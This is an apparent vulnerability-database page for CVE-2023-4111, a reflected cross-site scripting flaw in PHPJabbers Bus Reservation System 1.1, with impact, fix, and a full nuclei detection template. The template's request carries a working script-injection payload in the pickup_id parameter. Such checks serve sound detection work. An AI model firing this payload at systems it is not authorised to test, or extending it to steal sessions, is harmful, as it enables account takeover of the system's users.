HexBrain

Browse / CVEs / CVE-2023-4111

CVE-2023-4111· phpjabbers / bus reservation system· CWE-79

PHPJabbers Bus Reservation System 1.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in PHP Jabbers Bus Reservation System 1.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument index/pickup_id leads to cross site scripting. The attack may be launched remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through the pickup_id parameter in index.php, potentially stealing session tokens or credentials of bus reservation system administrators and customers.

Fix

Update PHPJabbers Bus Reservation System to a version newer than 1.1 that properly sanitizes the pickup_id parameter in index.php.

How to confirm it

Send: GET {{BaseURL}}/index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)…
Positive when: contains_all(body, "You have an error in your SQL syntax", "><script>alert(document.domain)</script>") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-4111 -u <target>

The full check
id: CVE-2023-4111

info:
  name: PHPJabbers Bus Reservation System 1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Bus Reservation System 1.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument index/pickup_id leads to cross site scripting. The attack may be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the pickup_id parameter in index.php, potentially stealing session tokens or credentials of bus reservation system administrators and customers.
  remediation: |
    Update PHPJabbers Bus Reservation System to a version newer than 1.1 that properly sanitizes the pickup_id parameter in index.php.
  reference:
    - https://vuldb.com/?id.235958
    - https://packetstormsecurity.com/files/173927/PHPJabbers-Bus-Reservation-System-1.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4111
    - https://vuldb.com/?ctiid.235958
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4111
    cwe-id: CWE-79
    epss-score: 0.02535
    epss-percentile: 0.85071
    cpe: cpe:2.3:a:phpjabbers:bus_reservation_system:1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: bus_reservation_system
  tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0&session_id="

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "You have an error in your SQL syntax", "><script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from